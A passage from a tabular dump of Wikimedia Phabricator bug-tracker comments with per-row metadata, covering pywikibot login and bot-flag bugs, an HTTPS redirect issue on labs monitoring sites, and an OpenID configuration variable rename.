+265865,Can't login to wikisource.org,- **priority**: 7 --> 5,,,1380947666,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+265861,Can't login to wikisource.org,Please try the suggested method before increading priority.,,,1380947665,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+265855,Can't login to wikisource.org,- **priority**: 5 --> 7,,,1380947663,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+265850,Can't login to wikisource.org,"Instead of mylang='', try using mylang='-' \(and also adapting your username config as such\).",,,1380947661,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+57140,force login after performing a sysop action,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1632/
+Reported by: nu11zer0
+Created on: 2013-05-03 05:54:46
+Subject: force login after performing a sysop action
+Assigned to: russblau
+Original description:
+After my bot performed a sysop action, then wrote to a page, the bot wrote without botflag\! It seems that the framework cached some informations and understood that the bot has no flag. My workaround is to add ""site.login\(\)"" after every sysop action. But it should be implemented in the framework. Note that now redirect.py also has this problem.
+
+\----
+Pywikibot branches/rewrite/ \(r11487, 2013/05/02, 07:59:55, ok\)
+Python 2.7.3 \(default, Sep 26 2012, 21:53:58\) 
+\[GCC 4.7.2\]
+unicode test: ok
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1632
+https://bugzilla.wikimedia.org/show_bug.cgi?id=55066",Needs Triage,90.0,1380947460,1431068904.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_description,resolved,True,c2,3,False,False,False,5,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+415402,force login after performing a sysop action,"Change 192178 merged by jenkins-bot:
+Postpone botflag checking in Page
+
+[[https://gerrit.wikimedia.org/r/192178]]",,,1424592321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+415401,force login after performing a sysop action,"Change 192178 had a related patch set uploaded (by VcamX):
+Postpone botflag checking in Page
+
+[[https://gerrit.wikimedia.org/r/192178]]
+
+#patch-for-review",,,1424591405,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+415391,force login after performing a sysop action,"@jayvdb @Nullzero I found out what causes this bug. 
+When we do an edit, the parameter [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#1004 | botflag ]] of function `save` in pywikibot-core/page will decide whether this edit will have botflag or not. This [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#L1030 | line ]] will check the user right. If A performing sysop action first, it will cached sysop cookie in `pywikibot.lwp`. Then B performing a bot action without executing like `site.login()` first and doing an edit, the botflag will be set as false since the pywikibot will check user right using sysop cookie, and of course there's no `bot` in `site.userinfo['rights']`. Although we have decorator `must_be` for editpage (see [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L4033 | this ]]) which will check the user when doing an edit. The botflag is set as false before the decorator  `must_be` works.",,,1424582984,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+415388,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update**: I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579389,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,1,1,1,0,0,1
+415387,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ? **Update** I may probably get your point. I'm able to reproduce this bug. Thanks for your help :),,,1424579371,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+415385,force login after performing a sysop action,@Nullzero How do these two scripts running simultaneously? Use cron to set a interval of running? Or just run them one by one? Did these two scripts run under the same directory (did they share the same `pywikibot.lwp`) ?,,,1424576909,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,1,1,1,0,0,0
+414863,force login after performing a sysop action,"If I don't misremember, the problem arises when I run two scripts simultaneously. Suppose two scripts are A and B, with A performing sysop actions (without botflag) and B performing bot actions (with botflag). It seems that some settings about botflag are shared somehow, so frequently B doesn't use botflag to edit. Thus edits appear in recentchanges.",,,1424452073,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+414746,force login after performing a sysop action,"@jayvdb @Nullzero I found there's a decorator [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L1036 | must_be ]] in modul pywikibot/site, which limit the user status when functions are called. In my option, it may solve the bug since it checks the user status before the decorated function runs.",,,1424443044,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+414638,force login after performing a sysop action,"@jayvdb @Nullzero this is my [[ https://gist.github.com/VcamX/f26066fd09a992cbce6e | test script ]] for reproducing the bug, but the results showed it works well. Maybe I still didn't get your point...",,,1424426801,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+414586,force login after performing a sysop action,"The current design of pywikibot is that it always uses the sysop account **only** for actions which require sysop capabilities.  It uses the bot account for everything else. T71283 is considering to change that design.
+
+My understanding of this problem is
+1. pywikibot logs into site with the non-sysop account, that has the 'bot' flag, maybe does an edit which is a 'bot' edit.
+2. pywikibot logs into site with the sysop account, that does not have the 'bot' flag.
+3. pywikibot edit using non-sysop account should be marked as a 'bot' edit ('b' in recent changes), .. however the edit isnt marked as a bot edit, and that is this bug.
+
+In step 2, the site object does not keep the login credentials of the non-sysp account. T67196
+In step 3, the site object should re-login automatically using non-sysop username and password in config.password_file.",,,1424410305,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,True,,,77,True,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+411785,force login after performing a sysop action,"Yes, but I will not be able to contribute to Pywikibot for a while. Feel free to take over my patches, bugs, etc.",,,1423974710,,PHID-USER-vuus2gmqsnxh6mnavgml,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,76,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+411784,force login after performing a sysop action,Was this your ticket @nullzero?,,,1423974378,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,True,,,76,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0
+264953,force login after performing a sysop action,"I'm also have similar problem.
+
+After updating pywikibot framework, forcing login is somewhat strange.
+
+When bot name differ by project \(E.g, different name for local wiki and meta/commons wiki\), login is requested for local bot name in meta wiki.
+
+\------------------------------------------------------------------------
+Pywikibot \[http\] branches/rewrite \(r11617, 2013/06/02, 13:07:05, OUTDATED\)
+Python 2.6.5 \(r265:79063, Oct  1 2012, 22:04:36\)
+\[GCC 4.4.3\]
+unicode test: ok",,,1380947468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+56710,Fix HTTPS redirect for icinga.wmflabs.org,"**Author:** `metatron`
+
+**Description:**
+HTTPS on both wmflabs-sites not possible:
+http://icinga.wmflabs.org/icinga/
+http://ganglia.wmflabs.org/latest/
+
+On wikimedia-sites it works fine
+https://icinga.wikimedia.org/icinga/
+https://ganglia.wikimedia.org/latest/
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1380297180,1419723474.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-TASK-xzc5j7guth2pi6tihr6u,task_description,declined,True,c2,3,False,False,False,4,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+393273,Fix HTTPS redirect for icinga.wmflabs.org,"closing:
+>>! In T85318#944034, yuvipanda wrote:
+> Neither icinga nor ganglia will be used in labs anymore.
+> [...]",,,1419723474,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,69,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+264697,Fix HTTPS redirect for icinga.wmflabs.org,"ganglia is out of game, updating title that redirect seems to misbehave (for me for firefox and opera)",,,1413464246,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,59,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+264692,Fix HTTPS redirect for icinga.wmflabs.org,"current status:
+https://icinga.wmflabs.org/
+https://ganglia.wmflabs.org/
+basically seems to work from ssl view
+but both switch to HTTP while redirecting to the correct entry point",,,1396637458,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+264688,Fix HTTPS redirect for icinga.wmflabs.org,Insecure content warnings on https://integration.wikimedia.org/ for images from http://ganglia.wmflabs.org/l.,,,1391727042,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,23,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264681,Fix HTTPS redirect for icinga.wmflabs.org,Can we set this up via Yuvi's HTTPS proxy?,,,1391726910,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,23,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+264676,Fix HTTPS redirect for icinga.wmflabs.org,"seems fixed, except that ganglia ssl is blocked by bug 60865",,,1391593710,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-xzc5j7guth2pi6tihr6u,task_subcomment,,True,c2,3,True,,,23,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+56541,"When loging in to a site, try the site-configured username if any","Originally from: http://sourceforge.net/p/pywikipediabot/patches/621/
+Reported by: gallaecio
+Created on: 2013-08-03 20:30:54.056000
+Subject: When loging in to a site, try the site-configured username if any
+Original description:
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/patches/621",Needs Triage,90.0,1380061200,1610726581.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-4ziao6as6e62byuywdss,task_description,invalid,True,c2,3,False,False,False,3,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+1646921,"When loging in to a site, try the site-configured username if any","Closed as invalid. See example below
+```
+>>> import pywikibot
+>>> site = pywikibot.Site()
+>>> site
+APISite(""de"", ""wikipedia"")
+>>> site.username()
+'Xqtest'
+>>> site = pywikibot.Site('meta:meta')
+>>> site.username()
+'Xqtools'
+>>> 
+```",,,1610726581,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,True,,,385,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+892253,"When loging in to a site, try the site-configured username if any","What is the current behaviour? What username is used when pywikibot tries to log into a site? Can anyone provide a minimal example script to demonstrate the issue at hand?
+",,,1499833257,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,202,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0
+605017,"When loging in to a site, try the site-configured username if any","Change 176482 abandoned by Gallaecio:
+login: Use the site object's username if defined
+
+[[https://gerrit.wikimedia.org/r/176482]]",,,1454761787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,127,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+334593,"When loging in to a site, try the site-configured username if any","Change 176482 had a related patch set uploaded (by John Vandenberg):
+login: Use the site object’s username if defined
+
+[[https://gerrit.wikimedia.org/r/176482]]
+
+#patch-for-review",,,1417374437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,65,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+254560,"When loging in to a site, try the site-configured username if any","The is an interesting approach which I am guessing solves part of the 'SUL' problem.
+
+Instead of having to add usernames['wikipedia']['*'] = '..'; usernames['wikisource']['*'] = '..'; to user-config.py etc etc for every family in the matrix of the global account.
+
+If a account is logged into it.wp using an entry in user-config.py, and the bot visits en.wikipedia, the bot *is* logged in, as they have a unified account, and the cookie logs them in, and api.py automatically populates userinfo with the username.
+
+That works wonderfully, and doesnt need this patch.
+
+I am guessing this patch is about when there is a 'problem' with the existing login, which might be because of site.py tripping over itself (the login code is a mess), or maybe the server asking the account to login again.
+
+If the password_file contains simple two-part matching entry for the username in siteinfo, the re-login will be automatic.  i.e. (bot_username, bot_password) ; not (family, username, password) or other options.
+
+I would like to hear more about how this patch helps, but it does appear useful in limited but crucial circumstances.",,,1411028272,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,True,,,55,True,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+254556,"When loging in to a site, try the site-configured username if any",The patch does not appear to solve anything: site.userinfo holds information about the currently logged-in user.,,,1406115108,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,47,True,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+254550,"When loging in to a site, try the site-configured username if any","[No attachment in Gerrit, hence resetting status and adding keyword. See https://bugzilla.wikimedia.org/describekeywords.cgi and https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle for more information.]",,,1385945717,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,True,,,13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+254545,"When loging in to a site, try the site-configured username if any","Created attachment 13369
+Copy of attachment from http://sourceforge.net/p/pywikipediabot/patches/621/attachment/login-site-username.diff
+
+**Attached**: {F11875}",,,1380061240,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-4ziao6as6e62byuywdss,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56506,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Grepping through the code shows no use of this variable outside of its declaration. It certainly doesn't remove the login link.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1380039540,1380787161.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-pg6hplevt4uggtbvxhs4,task_description,resolved,True,c2,3,True,False,True,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+258234,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines :
+added there ""No text must follow the bugnumber. """,,,1380811269,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0
+258224,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"(In reply to comment #5)
+> solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not
+> adding this information any more ?)
+
